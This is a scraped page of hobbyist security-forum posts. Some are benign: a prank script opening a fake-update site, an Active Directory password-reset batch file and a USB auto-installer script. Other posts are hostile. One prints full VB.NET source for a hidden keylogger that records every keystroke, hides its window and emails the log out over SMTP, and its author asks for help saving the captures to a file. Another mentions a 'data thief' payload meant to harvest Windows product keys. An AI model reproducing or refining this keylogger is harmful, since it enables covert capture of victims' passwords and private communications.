Search the Community

Hi there, I'm new here and I wanted to share a basic script that i wrote. It just opens up your webbrowser and navigates to the site http://fakeupdate.net/. On this site you can find many fake installtion videos, in this case i'm using the Windows 98 one. This script is just a basic one, for other beginners like me... Here's the code: REM FakeUpdate v.1.0 REM This basic Script just opens the website fakeupdate.net, where you can find videos of os installtions... REM Author: fachsimpeln WINDOWS d DELAY 500 WINDOWS r DELAY 500 STRING http://www.fakeupdate.net/windows98/index.html ENTER DELAY 1000 F11 I hope you like it, fachsimpeln

Hi all, Here's a nice script, entirely in a batch file, that ; Prompts for input of a user's Full Name and Email Address Sets their password to a random string of uppercase, lowercase and numerical characters. Generates an email to send to them, with their new password. Notes; Length of the password can be set using the line Set _RNDLength= Whether user has to reset their password on logging in can be set with -mustchpwd Amend OU= and DC= for your own companie's domain. @echo off :Start endlocal echo. echo This script will reset the password for a user, using their Full Name, echo and then generate the email to be sent to them. echo. echo Passwords are automatically set as 10 digits, using lowercase, echo uppercase and numbers. echo. echo. echo. set /p "DisplayName= Full Name : %=%" echo. echo. set /p "EmailAddress= Email : %=%" cls Setlocal EnableDelayedExpansion Set _RNDLength=10 Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 Set _Str=%_Alphanumeric%987654321 :_LenLoop IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop SET _tmp=%_Str:~9,1% SET /A _Len=_Len+_tmp SET _count=0 SET _RndAlphaNum= :_loop SET /a _count+=1 SET _RND=%Random% SET /A _RND=_RND%%%_Len% SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1! If !_count! lss %_RNDLength% goto _loop dsmod user "CN=%DisplayName%,OU=[OU],DC=[DC],DC=co,DC=uk" -pwd !_RndAlphaNum! -mustchpwd no IF ERRORLEVEL 0 ( GOTO SendEmail ) ELSE ( echo. echo Failed. echo. Pause GOTO Start ) :SendEmail start "" "mailto:%EmailAddress%?subject=Password%%20Reset&body=Hello,%%0D%%0A%%0D%%0AYour%%20AD%%20password%%20has%%20been%%20reset%%20to%%20!_RndAlphaNum!%%0D%%0A%%0D%%0AKind Regards,%%0D%%0A%%0D%%0AYour%%20Name" cls GOTO Start Email generated looks like this; Hello, Your AD password has been reset to kD5Xjfd8A6 Kind Regards, Your Name This saves me some time at work when we get loads of emails asking for password resets for AD accounts. Takes 30 seconds instead of a few minutes.

I'm not sure why, but a lot of people really don't like BASIC. Why is that? What's your experience with BASIC?

hello hak5 forum, i came to this forum as i recently found out about the ducky usb. but to the point. i need help with this key logger (ill put the code at the bottom). the problems are that the email doesn't send. yes i have check firewall and forwarded all the ports for gmail that they list on googles website. but i don't mind to much to much that it doesn't send... how to i make the contents of the text box save to a text file so that i can just physically get it. thanks for any help. Imports System.Net.Mail 'Mail Class Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() Timer2.Start() Timer3.Start() End Sub Public Function GetCapslock() As Boolean ' Return Or Set the Capslock toggle. GetCapslock = CBool(GetKeyState(&H14) And 1) End Function Public Function GetShift() As Boolean ' Return Or Set the Capslock toggle. GetShift = CBool(GetAsyncKeyState(&H10)) End Function Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i As Integer = 1 To 225 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then If GetCapslock() = True And GetShift() = True Then Select Case (i) Case 192 TextBox1.Text = TextBox1.Text + "~" Case 1 'TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 TextBox1.Text = TextBox1.Text + ")" Case 49 TextBox1.Text = TextBox1.Text + "!" Case 50 TextBox1.Text = TextBox1.Text + "@" Case 51 TextBox1.Text = TextBox1.Text + "#" Case 52 TextBox1.Text = TextBox1.Text + "$" Case 53 TextBox1.Text = TextBox1.Text + "%" Case 54 TextBox1.Text = TextBox1.Text + "^" Case 55 TextBox1.Text = TextBox1.Text + "&" Case 56 TextBox1.Text = TextBox1.Text + "*" Case 57 TextBox1.Text = TextBox1.Text + "(" Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + ">" Case 16 Case 160 To 165 Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 189 TextBox1.Text = TextBox1.Text + "_" Case 187 TextBox1.Text = TextBox1.Text + "+" Case 219 TextBox1.Text = TextBox1.Text + "{" Case 221 TextBox1.Text = TextBox1.Text + "}" Case 186 TextBox1.Text = TextBox1.Text + ":" Case 222 TextBox1.Text = TextBox1.Text + """" Case 188 TextBox1.Text = TextBox1.Text + "<" Case 191 TextBox1.Text = TextBox1.Text + "?" Case 220 TextBox1.Text = TextBox1.Text + "|" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 20 Case 91 'windows key Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = True And GetShift() = False Then Select Case (i) Case 91 'windows key Case 1 'TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + "`" Case 189 TextBox1.Text = TextBox1.Text + "-" Case 187 TextBox1.Text = TextBox1.Text + "=" Case 219 TextBox1.Text = TextBox1.Text + "[" Case 221 TextBox1.Text = TextBox1.Text + "]" Case 186 TextBox1.Text = TextBox1.Text + ";" Case 222 TextBox1.Text = TextBox1.Text + "'" Case 188 TextBox1.Text = TextBox1.Text + "," Case 191 TextBox1.Text = TextBox1.Text + "/" Case 220 TextBox1.Text = TextBox1.Text + "\" Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = True Then Select Case (i) Case 91 'windows key Case 192 TextBox1.Text = TextBox1.Text + "~" Case 1 ' TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 TextBox1.Text = TextBox1.Text + ")" Case 49 TextBox1.Text = TextBox1.Text + "!" Case 50 TextBox1.Text = TextBox1.Text + "@" Case 51 TextBox1.Text = TextBox1.Text + "#" Case 52 TextBox1.Text = TextBox1.Text + "$" Case 53 TextBox1.Text = TextBox1.Text + "%" Case 54 TextBox1.Text = TextBox1.Text + "^" Case 55 TextBox1.Text = TextBox1.Text + "&" Case 56 TextBox1.Text = TextBox1.Text + "*" Case 57 TextBox1.Text = TextBox1.Text + "(" Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + ">" Case 16 Case 160 To 165 Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 189 TextBox1.Text = TextBox1.Text + "_" Case 187 TextBox1.Text = TextBox1.Text + "+" Case 219 TextBox1.Text = TextBox1.Text + "{" Case 221 TextBox1.Text = TextBox1.Text + "}" Case 186 TextBox1.Text = TextBox1.Text + ":" Case 222 TextBox1.Text = TextBox1.Text + """" Case 188 TextBox1.Text = TextBox1.Text + "<" Case 191 TextBox1.Text = TextBox1.Text + "?" Case 220 TextBox1.Text = TextBox1.Text + "|" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 20 Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = False Then Select Case (i) Case 1 ' TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + "`" Case 189 TextBox1.Text = TextBox1.Text + "-" Case 187 TextBox1.Text = TextBox1.Text + "=" Case 91 'windows key Case 219 TextBox1.Text = TextBox1.Text + "[" Case 221 TextBox1.Text = TextBox1.Text + "]" Case 186 TextBox1.Text = TextBox1.Text + ";" Case 222 TextBox1.Text = TextBox1.Text + "'" Case 188 TextBox1.Text = TextBox1.Text + "," Case 191 TextBox1.Text = TextBox1.Text + "/" Case 220 TextBox1.Text = TextBox1.Text + "\" Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If End If Next i End Sub Sub MainEvents() 'Fill In all Required info, if your not using gmail use smtp . your email provider ex: '"smpt.yahoo.com" or "smpt.custom_email.edu" Try Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("Email") MyMailMessage.To.Add("Email") MyMailMessage.Subject = "Test" MyMailMessage.Body = TextBox1.Text Dim SMPT As New SmtpClient("smtp.gmail.com") SMPT.Port = 587 SMPT.EnableSsl = True SMPT.Credentials = New System.Net.NetworkCredential("Email", "Email Password") SMPT.Send(MyMailMessage) TextBox1.Text = "" Catch ex As Exception End Try End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick If TextBox1.Text <> "" Then MainEvents() End If End Sub Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick Me.Visible = False Me.Hide() End Sub End Class

Hey guys. So I'm creating an auto-run USB Drive for the guys in my shop to further help automate the update/re-image process. I'm a little rusty on my VB. Here's my code in it's current state: x=MsgBox("Do not be afraid, vital software update is in progress. Please direct any errors to your System Administrator",0, "Derek's Auto Update") Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\updates\Firefox Setup Stub 25.0.1" d=MsgBox("Is the Firefox installation Complete",4, "I have a question for you.") if d=vbYes then e=MsgBox("Please download the installer from http://mozilla.org",,"I'm sorry...") else f=MsgBox("Excellent. Please click OK for the next installer.",, "Success!") End If PAUSE Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\updates\lenovographics.exe" PAUSE a=MsgBox("Was there any errors during this update?",4, "I have a question for you.") if a=vbYes then b=MsgBox("Please send a detailed message to admin@work.com of any errors that occured",, "I'm sorry...") else c=MsgBox("Excellent. Thank you for your participation and cooperation.",, "Success!") End If My ultimate goal is this: I'm not sure of the syntax to do this, but I'd like to keep the installer files on the USB drive rather than having to copy them over to the C:\ drive then run the installer. I'm wanting to have this all fully automated. Once the user completes an installation (for example: Firefox), have a MsgBox pop up "did it complete?" If yes = open method z = next installer. The idea to have it all a nested IF/THEN. Any advice is always appreciated. Thanks gang!

Hi, I'm working on the payload "ULTIMATE DATA THEIF!" and the program I developed "Wind.bat" doesn't work on all versions of Windows (I get a VB reg read error) so I've decided to write the program in Visual Basic. However, I cant get the program to print out the Windows product key - It just shows the start dialogue and exits. Current work: Thanks. Wind.zip